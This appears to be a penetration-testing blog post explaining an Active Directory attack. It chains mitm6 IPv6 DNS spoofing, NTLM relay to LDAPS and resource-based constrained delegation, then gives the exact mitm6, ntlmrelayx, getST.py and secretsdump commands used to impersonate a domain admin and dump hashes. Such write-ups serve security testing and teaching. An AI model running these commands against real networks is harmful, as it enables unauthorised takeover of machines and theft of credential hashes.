Combining NTLM Relaying and Kerberos delegation

How does it work?

To understand this attack, it is required to have a good understanding of some kerb principles, i thus invite you to read the two first articles before you dive in. Now how this attack is possible, is well described in dirkjanm.io blog found in the references and simplified in chryzsh blogpost which i'm going to copy past here because i don't think i can explain it better, so here's how it works :

When Windows configured for DHCP boots, it looks for DHCP configuration, and then proxy configuration using WPAD. That way, when the victim computer boots and starts looking for proxy config, the machine account tries to authenticate to us.

1. We set up a man-in-the-middle DHCP server on IPv6 and serve a DNS IPv6 configuration that points to our rogue DNS IPv6 server.

2. When the victim uses WPAD to look for a proxy configuration file over DNS, we let it connect to our fake proxy server and then prompt for authentication using a 407 Authentication Required request.

3. We capture and relay the (encrypted) credentials of the machine account to LDAPS on the domain controller (DC).

4. We ask the DC over LDAPS to create a new machine account. Active Directory allows any user account, including machine accounts to add 10 machine accounts by default.( NOTE: LDAPS and not LDAP, because creating machines over unencrypted channels is prohibited)

5. We now have credentials for a machine account. The reason we create a machine account is that we need access to an account with a Service Principal Name (SPN).

6. We now ask the DC to configure resource-based constrained delegation for this new machine account on the victim computer object. For example: the machine account WS02$ sets the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the computer object WS02 to allow the newly created machine account to impersonate users on it.

7. We request a service ticket using the machine account that was created, where we impersonate a user that has local admin access to our target computer.

8. We use the service ticket to access the computer with local admin privileges. The ticket with these privileges is only valid on the target box.

Now off to the commands :

1st, mitm6 as explained previously (in this case limiting just the attack on the icorp-w10 host but can be fully utilized on others) :

sudo mitm6 -hw icorp-w10 -d internal.corp --ignore-nofqnd

2nd, ntlmrelayx :

ntlmrelayx.py -t ldaps://icorp-dc.internal.corp -wh attacker-wpad --delegate-access

3rd, we can use getST.py from impacket, which will do all the S4U2Self an S4U2Proxy magic for us. You will need the latest version of impacket from git to include resource based delegation support. In this example we will be impersonating the user admin, which is a member of the Domain Admins group and thus has administrative access on ICORP-W10

getST.py -spn cifs/icrop-w10.internal.corp internal.corp/account_created_by_previous_cmd -impersonate admin

Once that done, you should've the keberos service ticket for the user admin saved in admin.ccache file and is valid for cifs/icorp-w10.internal.corp. This only lets us impersontate this user to this specific host, not to other hosts in the network. With this ticket we can do whatever we want on the target host for, for example dumping hashes with secretdumps::

export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass icrop-w10.internal.corp

The attacker now has full control over the victim workstation.

References :

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active DirectoryShenanigans Labs

S4U2Pwnage - harmj0yharmj0y

The worst of both worlds: Combining NTLM Relaying and Kerberos delegationdirkjanm.io

Combining NTLM Relaying and Kerberos delegationc:\rusher blog